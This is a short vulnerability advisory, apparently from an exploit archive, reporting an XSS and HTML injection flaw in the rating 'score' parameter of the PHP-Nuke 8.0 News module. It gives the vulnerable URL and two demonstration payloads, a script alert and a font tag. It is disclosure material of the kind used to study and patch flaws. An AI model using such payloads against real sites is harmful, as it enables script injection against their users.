PHP-Nuke <= 8.0 XSS & HTML Code Injection in News Module

[Exploit] [Remote] [Local] [Web Apps] [Dos/Poc] [Shellcode] [RSS]

# Title : PHP-Nuke <= 8.0 XSS & HTML Code Injection in News Module
# Published : 2009-11-27
# Author : K053
# Previous Title : Micronet SP1910 Data Access Controller UI XSS & HTML Code Injection
# Next Title : Cacti 0.8.7e: Multiple Security Issues

# Software Link: http://www.phpnuke.org/modules.php?name=Downloads&d_op=viewdownload&cid=1
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
note :

This bug found by tampering passed data .
coders don't sanitize and check user entry point for news rate.

-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
POC:

http://server/modules.php?name=News&op=rate_complete&sid=6&score=[insert ur code here]

1. xss : <SCRIPT>alert(/XSS/.source)</SCRIPT>
2. Html code injection : <font color=red>

-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=